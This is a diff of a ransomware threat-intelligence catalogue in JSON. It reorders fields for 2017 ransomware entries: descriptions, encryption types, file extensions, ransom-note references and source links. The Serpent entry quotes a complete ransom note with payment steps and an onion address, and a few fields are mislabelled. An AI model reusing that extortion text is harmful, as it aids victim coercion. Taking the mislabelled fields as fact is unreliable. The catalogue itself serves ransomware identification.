+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/spora-ransomware.html",
- "https://blog.gdatasoftware.com/2017/01/29442-spora-worm-and-ransomware",
- "http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/"
- ],
+ "date": "January 2017",
+ "encryption": "AES+RSA",
"ransomnotes": [
"https://1.bp.blogspot.com/-0COE3ADdaYk/WHpnHzuo7OI/AAAAAAAADHY/yfDF3XG720Yyn3xQHwFngt1T99cT-Xt3wCLcB/s1600/rus-note_2.png",
"[Infection-ID].HTML"
],
- "encryption": "AES+RSA",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/spora-ransomware.html",
+ "https://blog.gdatasoftware.com/2017/01/29442-spora-worm-and-ransomware",
+ "http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png",
- "value": "Spora Ransomware",
- "uuid": "46601172-d938-47af-8cf5-c5a796ab68ab"
+ "uuid": "46601172-d938-47af-8cf5-c5a796ab68ab",
+ "value": "Spora Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html"
- ],
+ "date": "January 2017",
"encryption": "AES+RSA",
"extensions": [
".crypto"
],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.",
- "value": "CryptoKill Ransomware",
- "uuid": "7ae2f594-8a72-4ba8-a37a-32457d1d3fe8"
+ "uuid": "7ae2f594-8a72-4ba8-a37a-32457d1d3fe8",
+ "value": "CryptoKill Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html"
+ "date": "January 2017",
+ "extensions": [
+ "AES+RSA"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-mwIvQNkFH4g/WKAydZnGn_I/AAAAAAAADxs/6xHgbD3OUFUbebeuNVkI6tp_cMRVUQHtQCLcB/s1600/note_2.png"
],
- "extensions": [
- "AES+RSA"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "All_Your_Documents Ransomware",
- "uuid": "62120e20-21f6-474b-9dc1-fc871d25c798"
+ "uuid": "62120e20-21f6-474b-9dc1-fc871d25c798",
+ "value": "All_Your_Documents Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html",
- "https://www.bleepingcomputer.com/news/security/ultranationalist-developer-behind-serbransom-ransomware/",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-10th-2017-serpent-spora-id-ransomware/",
- "https://twitter.com/malwrhunterteam/status/830116190873849856"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".velikasrbija"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-OY8jgTN5Y9Q/WKAI6a9xfMI/AAAAAAAADwc/ng36hAXsvfYQ5rdkSFeVgEvLY88pJmnWACLcB/s1600/note-html-wallp.jpg",
"https://3.bp.blogspot.com/-DQQ5tk0C9lY/WKALND0dYPI/AAAAAAAADwo/EuKiO_F0Mn0ImrGLVE-Sks-j93pHoTjKACLcB/s1600/konstr.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".velikasrbija"
- ],
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html",
+ "https://www.bleepingcomputer.com/news/security/ultranationalist-developer-behind-serbransom-ransomware/",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-10th-2017-serpent-spora-id-ransomware/",
+ "https://twitter.com/malwrhunterteam/status/830116190873849856"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.",
- "value": "SerbRansom 2017 Ransomware",
- "uuid": "fb1e99cb-73fa-4961-a052-c90b3f383542"
+ "uuid": "fb1e99cb-73fa-4961-a052-c90b3f383542",
+ "value": "SerbRansom 2017 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.",
"meta": {
+ "date": "January 2017",
+ "encryption": "AES",
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-5t-5eBl4Tng/WKARmYV5GVI/AAAAAAAADxA/OuS7Eo__z1sh2tRbBpQIxJQ6IVbSiQakwCLcB/s1600/lock-note.jpg"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/02/fadesoft-ransomware.html",
"https://twitter.com/malwrhunterteam/status/829768819031805953",
"https://twitter.com/malwrhunterteam/status/838700700586684416"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-5t-5eBl4Tng/WKARmYV5GVI/AAAAAAAADxA/OuS7Eo__z1sh2tRbBpQIxJQ6IVbSiQakwCLcB/s1600/lock-note.jpg"
- ],
- "encryption": "AES",
- "date": "January 2017"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.",
- "value": "Fadesoft Ransomware",
- "uuid": "ccfe7f6a-9c9b-450a-a4c7-5bbaf4a82e37"
+ "uuid": "ccfe7f6a-9c9b-450a-a4c7-5bbaf4a82e37",
+ "value": "Fadesoft Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html",
- "https://www.ozbargain.com.au/node/228888?page=3",
- "https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-kolk6sABFzQ/WJ95ddcAxNI/AAAAAAAADwI/oP8ZFD7KnqoQWgpfgEHId843x3l0xfhjACLcB/s1600/note_2.png"
- ],
+ "date": "January 2017",
"encryption": "AES-256 + RSA-2048",
"extensions": [
".encypted"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-kolk6sABFzQ/WJ95ddcAxNI/AAAAAAAADwI/oP8ZFD7KnqoQWgpfgEHId843x3l0xfhjACLcB/s1600/note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html",
+ "https://www.ozbargain.com.au/node/228888?page=3",
+ "https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "HugeMe Ransomware",
- "uuid": "681ad7cc-fda0-40dc-83b3-91fdfdec81e1"
+ "uuid": "681ad7cc-fda0-40dc-83b3-91fdfdec81e1",
+ "value": "HugeMe Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "DynA CryptoLocker Ransomware"
+ "date": "January 2017",
+ "encryption": "AES-256 + RSA-2048",
+ "extensions": [
+ ".crypt"
+ ],
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-Qx8RhielSbI/WJypR9Zw9nI/AAAAAAAADus/Opsfy8FxRIIBmouywdl7uT94ZpfwKr6JACLcB/s1600/note.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html",
"https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-Qx8RhielSbI/WJypR9Zw9nI/AAAAAAAADus/Opsfy8FxRIIBmouywdl7uT94ZpfwKr6JACLcB/s1600/note.jpg"
- ],
+ "synonyms": [
+ "DynA CryptoLocker Ransomware"
+ ]
+ },
+ "uuid": "9979ae53-98f7-49a2-aa1e-276973c2b44f",
+ "value": "DynA-Crypt Ransomware"
+ },
+ {
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "January 2017",
"encryption": "AES-256 + RSA-2048",
"extensions": [
".crypt"
],
- "date": "January 2017"
- },
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "DynA-Crypt Ransomware",
- "uuid": "9979ae53-98f7-49a2-aa1e-276973c2b44f"
- },
- {
- "meta": {
- "synonyms": [
- "Serpent Danish Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html"
- ],
"ransomnotes": [
"==== NEED HELP WITH TRANSLATE? USE https://translate.google.com ====\n================ PLEASE READ THIS MESSAGE CAREFULLY ================\n Your documents, photos, videos, databases and other important files have been encrypted! The files have been encrypted using AES256 and RSA2048 encryption (unbreakable) To decrypt your files you need to buy the special software 'SerpentDecrypter'.You can buy this software on one of the websites below. xxxx://vdpbkmwbnp.pw/00000000-00000000-00000000-00000000 xxxx://hnxrvobhgm.pw/00000000-00000000-00000000-00000000 If the websites above do not work you can use a special website on the TOR network. Follow the steps below\n1. Download the TOR browser https://www.torproject.org/projects/torbrowser.html.en#downloads\n2. Inside the TOR browser brower navigate to : 3o4kqe6khkfgx25g.onion/00000000-00000000-00000000-00000000 \n3. Follow the instructions to buy 'Serpent Decrypter'\n================ PLEASE READ THIS MESSAGE CAREFULLY ================"
],
- "encryption": "AES-256 + RSA-2048",
- "extensions": [
- ".crypt"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html"
],
- "date": "January 2017"
+ "synonyms": [
+ "Serpent Danish Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Serpent 2017 Ransomware",
- "uuid": "3b472aac-085b-409e-89f1-e8c766f7c401"
+ "uuid": "3b472aac-085b-409e-89f1-e8c766f7c401",
+ "value": "Serpent 2017 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/"
- ],
+ "date": "January 2017",
+ "encryption": "ROT-23",
"ransomnotes": [
"https://1.bp.blogspot.com/-tAp9wE6CJxM/WJrvOOyIfRI/AAAAAAAADts/iMfaiDRyRcQuPXgtQV--qt7q8ZI3ZV0tQCLcB/s1600/note1%252B.jpg",
"README.HTML"
],
- "encryption": "ROT-23",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Erebus 2017 Ransomware",
- "uuid": "c21e637c-6611-47e1-a191-571409b6669a"
+ "uuid": "c21e637c-6611-47e1-a191-571409b6669a",
+ "value": "Erebus 2017 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Ransomuhahawhere"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html"
+ "date": "January 2017",
+ "extensions": [
+ ".locked"
],
"ransomnotes": [
"https://1.bp.blogspot.com/-7KRVg6kt418/WJnwxDOV5NI/AAAAAAAADrk/or9DbPMl-7ksN7OwIAH6BMJwE5fGc_BfgCLcB/s1600/note_2.png"
],
- "extensions": [
- ".locked"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html"
],
- "date": "January 2017"
+ "synonyms": [
+ "Ransomuhahawhere"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Cyber Drill Exercise ",
- "uuid": "dcb183d1-11b5-464c-893a-21e132cb7b51"
+ "uuid": "dcb183d1-11b5-464c-893a-21e132cb7b51",
+ "value": "Cyber Drill Exercise "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/watch-your-computer-go-bonkers-with-cancer-trollware/"
+ "date": "February 2017",
+ "extensions": [
+ ".cancer"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-ozPs6mwKfEI/WJjTwbrOx9I/AAAAAAAADqE/4gewG-f_dLQQDevajtn8CnX69lvWgCZQACLcB/s1600/wallp.jpg"
],
- "extensions": [
- ".cancer"
- ],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/watch-your-computer-go-bonkers-with-cancer-trollware/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.",
- "value": "Cancer Ransomware FAKE",
- "uuid": "ef747d7f-894e-4c0c-ac0f-3fa1ef3ef17f"
+ "uuid": "ef747d7f-894e-4c0c-ac0f-3fa1ef3ef17f",
+ "value": "Cancer Ransomware FAKE"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html",
- "https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-BOmKmroIvEI/WJn-LAUmyyI/AAAAAAAADsI/W987TEaOnEAd45AOxO1cFyFvxEx_RfehgCLcB/s1600/note_2.png"
- ],
+ "date": "January 2017",
"encryption": "AES",
"extensions": [
".locked"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-BOmKmroIvEI/WJn-LAUmyyI/AAAAAAAADsI/W987TEaOnEAd45AOxO1cFyFvxEx_RfehgCLcB/s1600/note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html",
+ "https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.",
- "value": "UpdateHost Ransomware",
- "uuid": "ed5b30b0-2949-410a-bc4c-3d90de93d033"
+ "uuid": "ed5b30b0-2949-410a-bc4c-3d90de93d033",
+ "value": "UpdateHost Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-dLSbqOiIbLU/WHPh-akYinI/AAAAAAAADC0/6nFQClDBJ5M7ZhrjkhnxfkdboOh7SlE-ACLcB/s1600/v5YZMxt.jpg"
- ],
+ "date": "January 2017",
"encryption": "AES",
"extensions": [
".v8dp"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-dLSbqOiIbLU/WHPh-akYinI/AAAAAAAADC0/6nFQClDBJ5M7ZhrjkhnxfkdboOh7SlE-ACLcB/s1600/v5YZMxt.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.",
- "value": "Nemesis Ransomware",
- "uuid": "b5942085-c9f2-4d1a-aadf-1061ad38fb1d"
+ "uuid": "b5942085-c9f2-4d1a-aadf-1061ad38fb1d",
+ "value": "Nemesis Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript",
"meta": {
- "synonyms": [
- "File0Locked KZ Ransomware"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".file0locked",
+ ".evillock"
+ ],
+ "ransomnotes": [
+ "HOW_TO_DECRYPT_YOUR_FILES.TXT",
+ "HOW_TO_DECRYPT_YOUR_FILES.HTML",
+ "https://3.bp.blogspot.com/-0NFy_yDghZ0/WHO_ClbPdMI/AAAAAAAADCQ/RX2cgYg3z381gro6UUQtAED7JgXHbvGLgCLcB/s1600/note-txt_2.png",
+ "https://4.bp.blogspot.com/-xxJ9xdRuWis/WHO_FL-hWcI/AAAAAAAADCU/VqI02AhzopQY1WKk-k6QYSdHFWFzg1NcACLcB/s1600/note_2.png"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html",
@@ -1650,104 +1665,81 @@
"https://twitter.com/jiriatvirlab/status/818443491713884161",
"https://twitter.com/PolarToffee/status/826508611878793219"
],
- "ransomnotes": [
- "HOW_TO_DECRYPT_YOUR_FILES.TXT",
- "HOW_TO_DECRYPT_YOUR_FILES.HTML",
- "https://3.bp.blogspot.com/-0NFy_yDghZ0/WHO_ClbPdMI/AAAAAAAADCQ/RX2cgYg3z381gro6UUQtAED7JgXHbvGLgCLcB/s1600/note-txt_2.png",
- "https://4.bp.blogspot.com/-xxJ9xdRuWis/WHO_FL-hWcI/AAAAAAAADCU/VqI02AhzopQY1WKk-k6QYSdHFWFzg1NcACLcB/s1600/note_2.png"
- ],
- "encryption": "AES",
- "extensions": [
- ".file0locked",
- ".evillock"
- ],
- "date": "January 2017"
+ "synonyms": [
+ "File0Locked KZ Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript",
- "value": "Evil Ransomware",
- "uuid": "57933295-4a0e-4f6a-b06b-36807ff150cd"
+ "uuid": "57933295-4a0e-4f6a-b06b-36807ff150cd",
+ "value": "Evil Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.",
"meta": {
- "synonyms": [
- "Ocelot Locker Ransomware"
+ "date": "January 2017",
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-3iMAtqvAmts/WHEyA_dW5OI/AAAAAAAADAY/tE5FtaVMJcc3aQQvWI4XOdjtvbXufFgywCLcB/s1600/lock1.jpg",
+ "https://3.bp.blogspot.com/-DMxJm5GT0VY/WHEyEOi_vZI/AAAAAAAADAc/6Zi3IBuBz1I7jdQHcSrzhUGagGCUfs6iACLcB/s1600/lock2.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html",
"https://twitter.com/malwrhunterteam/status/817648547231371264"
],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-3iMAtqvAmts/WHEyA_dW5OI/AAAAAAAADAY/tE5FtaVMJcc3aQQvWI4XOdjtvbXufFgywCLcB/s1600/lock1.jpg",
- "https://3.bp.blogspot.com/-DMxJm5GT0VY/WHEyEOi_vZI/AAAAAAAADAc/6Zi3IBuBz1I7jdQHcSrzhUGagGCUfs6iACLcB/s1600/lock2.jpg"
- ],
- "date": "January 2017"
+ "synonyms": [
+ "Ocelot Locker Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.",
- "value": "Ocelot Ransomware (FAKE RANSOMWARE)",
- "uuid": "054b9fbd-72fa-464f-a683-a69ab3936d69"
+ "uuid": "054b9fbd-72fa-464f-a683-a69ab3936d69",
+ "value": "Ocelot Ransomware (FAKE RANSOMWARE)"
},
{
+ "description": "It’s directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
"meta": {
- "synonyms": [
- "Blablabla Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html",
- "https://twitter.com/malwrhunterteam/status/817079028725190656"
- ],
+ "date": "January 2017",
+ "encryption": "AES",
"ransomnotes": [
"INFOK1.txt",
"https://1.bp.blogspot.com/-i4ksJq-UzX8/WHFFXQL5wAI/AAAAAAAADA8/awfsqj1lr7IMBAPtE0tB44PNf1N6zkGDwCLcB/s1600/note_2.png",
"https://1.bp.blogspot.com/-OlKgHvtAUHg/WHFDCx4thaI/AAAAAAAADAw/wzBXV17Xh-saaFGlrxw3CDNhGSTaVe2dQCLcB/s1600/lock1.jpg"
],
- "encryption": "AES",
- "date": "January 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html",
+ "https://twitter.com/malwrhunterteam/status/817079028725190656"
+ ],
+ "synonyms": [
+ "Blablabla Ransomware"
+ ]
},
- "description": "It’s directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
- "value": "SkyName Ransomware",
- "uuid": "00b8ff33-1504-49a4-a025-b761738eed68"
+ "uuid": "00b8ff33-1504-49a4-a025-b761738eed68",
+ "value": "SkyName Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear",
"meta": {
- "synonyms": [
- "Depsex Ransomware"
+ "date": "January 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".locked-by-mafia"
+ ],
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-BclLp7x1sUM/WG6acqtDBbI/AAAAAAAAC_I/ToVEXx-G2DcKD4d7TZ0RkVqA1wRicxnZQCLcB/s1600/note_2.png",
+ "READ_ME.txt"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/01/mafiaware.html",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-6th-2017-fsociety-mongodb-pseudo-darkleech-and-more/",
"https://twitter.com/BleepinComputer/status/817069320937345024"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-BclLp7x1sUM/WG6acqtDBbI/AAAAAAAAC_I/ToVEXx-G2DcKD4d7TZ0RkVqA1wRicxnZQCLcB/s1600/note_2.png",
- "READ_ME.txt"
- ],
- "encryption": "AES",
- "extensions": [
- ".locked-by-mafia"
- ],
- "date": "January 2017"
+ "synonyms": [
+ "Depsex Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear",
- "value": "MafiaWare Ransomware",
- "uuid": "e5a60429-ae5d-46f4-a731-da9e2fcf8b92"
+ "uuid": "e5a60429-ae5d-46f4-a731-da9e2fcf8b92",
+ "value": "MafiaWare Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.",
"meta": {
- "synonyms": [
- "Purge Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/624518/globe-ransomware-help-and-support-purge-extension-how-to-restore-fileshta/",
- "https://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/",
- "https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html",
- "https://decrypter.emsisoft.com/globe3"
- ],
- "ransomnotes": [
- "How To Recover Encrypted Files.hta",
- "https://2.bp.blogspot.com/-Wk1_IdcEHbk/WG6FVnoaKlI/AAAAAAAAC-4/WeHzJAUJ0goxxuAoGUUebSgzGHrnD6LQQCLcB/s1600/Globe-ransom-note_2.png.png",
- "https://3.bp.blogspot.com/-lYkopoRH0wQ/WHOt1KhhzhI/AAAAAAAADCA/nPdhHK3wEucAK1GHodeh5w3HcpdugzSHwCLcB/s1600/globe3-9-1-17.png"
- ],
+ "date": "January 2017",
"encryption": "AES-256+RSA or RC4",
"extensions": [
".badnews",
@@ -1763,228 +1755,251 @@
".decrypt2017",
".hnumkhotep"
],
- "date": "January 2017"
+ "ransomnotes": [
+ "How To Recover Encrypted Files.hta",
+ "https://2.bp.blogspot.com/-Wk1_IdcEHbk/WG6FVnoaKlI/AAAAAAAAC-4/WeHzJAUJ0goxxuAoGUUebSgzGHrnD6LQQCLcB/s1600/Globe-ransom-note_2.png.png",
+ "https://3.bp.blogspot.com/-lYkopoRH0wQ/WHOt1KhhzhI/AAAAAAAADCA/nPdhHK3wEucAK1GHodeh5w3HcpdugzSHwCLcB/s1600/globe3-9-1-17.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html",
